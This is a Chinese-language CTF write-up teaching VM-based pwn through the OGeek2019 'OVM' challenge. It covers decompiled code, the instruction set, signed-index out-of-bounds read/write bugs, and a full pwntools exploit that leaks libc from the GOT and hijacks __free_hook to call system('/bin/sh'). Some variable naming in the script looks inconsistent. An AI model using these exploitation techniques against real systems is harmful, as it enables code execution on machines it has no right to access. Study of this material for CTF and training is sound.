vmpwn入门1
字数 2111 2025-08-22 12:23:00
VMPWN入门教程:从原理到实践
1. 什么是VMPWN
VMPWN是指虚拟机逃逸或虚拟机安全漏洞利用技术,在CTF比赛中通常指:
- 汇编类:在程序中实现运算指令来模拟程序的运行
- 编译类:在程序中自定义运算指令的程序
常见漏洞点:越界读写,题目难度主要集中在逆向分析上。
2. 示例题目分析:[OGeek2019 Final]OVM
2.1 程序保护机制
- 没有开启Canary
- 其他保护全开(NX、PIE等)
- 使用Ubuntu 16.04自带的2.23环境
2.2 主要函数分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp) {
unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
unsigned int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
// 初始化虚拟机寄存器
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &v5);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &v6);
getchar();
reg[13] = v6; // SP
reg[15] = v5; // PC
// 输入代码大小
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &v4);
getchar();
// 检查代码大小
if (v6 + (unsigned int)v4 > 0x10000 || !v4) {
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
// 输入代码
write(1, "CODE: ", 6uLL);
running = 1;
for (i = 0; v4 > i; ++i) {
_isoc99_scanf("%d", &memory[v5 + i]);
if ((memory[i + v5] & 0xFF000000) == 0xFF000000)
memory[i + v5] = -536870912;
getchar();
}
// 虚拟机主循环
while (running) {
v7 = fetch();
execute(v7);
}
// 结束处理
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
sendcomment(comment);
write(1, "Bye\n", 4uLL);
return 0;
}
fetch函数
__int64 fetch() {
int v0; // eax
v0 = reg[15];
reg[15] = v0 + 1;
return (unsigned int)memory[v0];
}
execute函数(关键)
ssize_t __fastcall execute(int opcode) {
// 提取指令字段
v4 = (opcode & 0xF0000u) >> 16; // 目标寄存器
v3 = (unsigned __int16)(opcode & 0xF00) >> 8; // 源寄存器1
v2 = opcode & 0xF; // 源寄存器2/立即数
result = HIBYTE(opcode); // 操作码
// 指令分发
if (HIBYTE(opcode) == 0x70) { // ADD
reg[v4] = reg[v2] + reg[v3];
} else if (HIBYTE(opcode) > 0x70u) {
// 其他指令处理...
} else if (HIBYTE(opcode) == 0x30) { // LOAD (漏洞点)
reg[v4] = memory[reg[v2]];
} else if (HIBYTE(opcode) > 0x30u) {
switch (HIBYTE(opcode)) {
case 'P': // PUSH
LODWORD(result) = reg[13];
reg[13] = result + 1;
result = (int)result;
stack[(int)result] = reg[v4];
break;
case '`': // POP
--reg[13];
result = (ssize_t)reg;
reg[v4] = stack[reg[13]];
break;
case '@': // STORE (漏洞点)
result = (ssize_t)memory;
memory[reg[v2]] = reg[v4];
break;
}
}
// 其他指令处理...
return result;
}
sendcomment函数
void __fastcall sendcomment(void *a1) {
free(a1);
}
2.3 关键漏洞分析
-
LOAD指令(0x30):
reg[v4] = memory[reg[v2]]- 使用
movsxd指令,进行有符号扩展 - 如果
reg[v2]为负数,可以越界读取内存
- 使用
-
STORE指令(0x40):
memory[reg[v2]] = reg[v4]- 同样存在有符号扩展问题
- 可以越界写入内存
-
UAF漏洞:
comment堆块在程序开始时分配- 结束时通过
read输入数据并free - 可以劫持
free_hook实现任意代码执行
2.4 指令编码格式
| 字段位置 | 位数 | 含义 |
|---|---|---|
| 24-31 | 8 | 操作码 |
| 20-23 | 4 | 目标寄存器 |
| 12-15 | 4 | 源寄存器1 |
| 0-3 | 4 | 源寄存器2/立即数 |
2.5 完整指令集
| 指令 | 操作码 | 功能 |
|---|---|---|
| MOV reg, op | 0x10 | reg[dest] = op |
| MOV reg, 0 | 0x20 | reg[dest] = 0 |
| LOAD | 0x30 | reg[dest] = memory[reg[src2]] |
| STORE | 0x40 | memory[reg[src2]] = reg[dest] |
| PUSH | 0x50 | stack[result] = reg[dest] |
| POP | 0x60 | reg[dest] = stack[reg[13]] |
| ADD | 0x70 | reg[dest] = reg[src2] + reg[src1] |
| SUB | 0x80 | reg[dest] = reg[src1] - reg[src2] |
| AND | 0x90 | reg[dest] = reg[src2] & reg[src1] |
| OR | 0xA0 | reg[dest] = reg[src2] |
| XOR | 0xB0 | reg[dest] = reg[src2] ^ reg[src1] |
| SHL | 0xC0 | reg[dest] = reg[src1] << reg[src2] |
| SHR | 0xD0 | reg[dest] = reg[src1] >> reg[src2] |
| EXIT | 0xE0 | 停止虚拟机 |
| HALT | 0xFF | 打印寄存器值并停止 |
3. 利用思路
3.1 泄露libc地址
-
利用LOAD指令的负数索引越界读取GOT表
stdin的GOT地址:0x201F80memory数组地址:0x202060- 偏移:-56 (0xFFFFFFC8)
-
构造负数索引:
- 通过移位和加法运算构造-56
-
读取GOT表项:
- 需要两个寄存器分别存储地址的高32位和低32位
3.2 劫持free_hook
-
计算
free_hook地址:free_hook = leaked_addr + offset
-
修改
comment指针:- 使用STORE指令越界写入
free_hook - 8
- 使用STORE指令越界写入
-
构造payload:
- 前8字节:
/bin/sh\x00 - 后8字节:
system地址
- 前8字节:
3.3 完整利用流程
- 构造负数索引读取GOT表
- 泄露libc地址
- 计算
free_hook和system地址 - 修改
comment指针指向free_hook - 8 - 输入
/bin/sh\x00+system_addr - 触发
free执行system("/bin/sh")
4. EXP编写示例
from pwn import *
context.log_level = 'debug'
def code(op, dest, src1, src2):
return (op << 24) | (dest << 16) | (src1 << 8) | src2
# 构造-56的指令序列
payload = [
code(0x10, 0, 0, 8), # reg[0] = 8
code(0x10, 1, 0, 0xff), # reg[1] = 0xff
code(0x10, 2, 0, 0xff), # reg[2] = 0xff
code(0xc0, 2, 2, 0), # reg[2] = reg[2] << reg[0] = 0xff00
code(0x70, 2, 2, 1), # reg[2] = reg[2] + reg[1] = 0xffff
code(0xc0, 2, 2, 0), # reg[2] = reg[2] << reg[0] = 0xffff00
code(0x70, 2, 2, 1), # reg[2] = reg[2] + reg[1] = 0xffffff
code(0xc0, 2, 2, 0), # reg[2] = reg[2] << reg[0] = 0xffffff00
code(0x10, 1, 0, 0xc8), # reg[1] = 0xc8
code(0x70, 2, 2, 1), # reg[2] = reg[2] + reg[1] = 0xffffffc8 = -56
# 读取GOT表项
code(0x30, 3, 0, 2), # reg[3] = mem[reg[2]] = mem[-56]
code(0x10, 1, 0, 1), # reg[1] = 1
code(0x70, 2, 2, 1), # reg[2] = reg[2] + reg[1] = -55
code(0x30, 4, 0, 2), # reg[4] = mem[reg[2]] = mem[-55]
# 计算free_hook地址
code(0x10, 1, 0, 0x10), # reg[1] = 0x10
code(0xc0, 1, 1, 0), # reg[1] = reg[1] << reg[0] = 0x1000
code(0x10, 0, 0, 0x90), # reg[0] = 0x90
code(0x70, 1, 1, 0), # reg[1] = reg[1] + reg[0] = 0x1090
code(0x70, 3, 3, 1), # reg[3] = reg[3] + reg[1] = mem[-56] + 0x1090 = free_hook - 8
# 修改comment指针
code(0x10, 1, 0, 47), # reg[1] = 47
code(0x70, 2, 2, 1), # reg[2] = reg[2] + reg[1] = -55 + 47 = -8
code(0x40, 3, 0, 2), # mem[reg[sr2]] = reg[dest] 改comment
code(0x10, 1, 0, 1), # reg[1] = 1
code(0x70, 2, 2, 1), # reg[2] = reg[2] + reg[1] = -8 + 1 = -7
code(0x40, 4, 0, 2), # mem[reg[sr2]] = reg[dest]
# 退出
code(0xE0, 0, 0, 0)
]
# 交互过程
io = process('./ovm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 设置PC和SP
io.sendlineafter('PC: ', '0')
io.sendlineafter('SP: ', '0')
# 发送代码
io.sendlineafter('CODE SIZE: ', str(len(payload)))
for ins in payload:
io.sendline(str(ins))
# 获取泄露的地址
io.recvuntil('R3: ')
low_addr = int(io.recv(8), 16)
io.recvuntil('R4: ')
high_addr = int(io.recv(4), 16)
free_hook = (high_addr << 32) + low_addr
# 计算libc基址和system地址
libc_base = free_hook + 8 - libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
# 发送payload
p1 = b'/bin/sh\x00' + p64(system_addr)
io.sendlineafter('HOW DO YOU FEEL AT OVM?\n', p1)
io.interactive()
5. 总结
- 逆向分析:理解虚拟机指令集和内存布局是关键
- 漏洞利用:
- 利用有符号扩展实现越界读写
- 通过GOT表泄露libc地址
- 劫持free_hook实现任意代码执行
- 构造技巧:
- 使用移位和加法运算构造特定值
- 注意32位和64位地址的处理
通过这个例子,可以掌握基本的VMPWN题目分析方法和利用技巧,为进一步学习更复杂的虚拟机题目打下基础。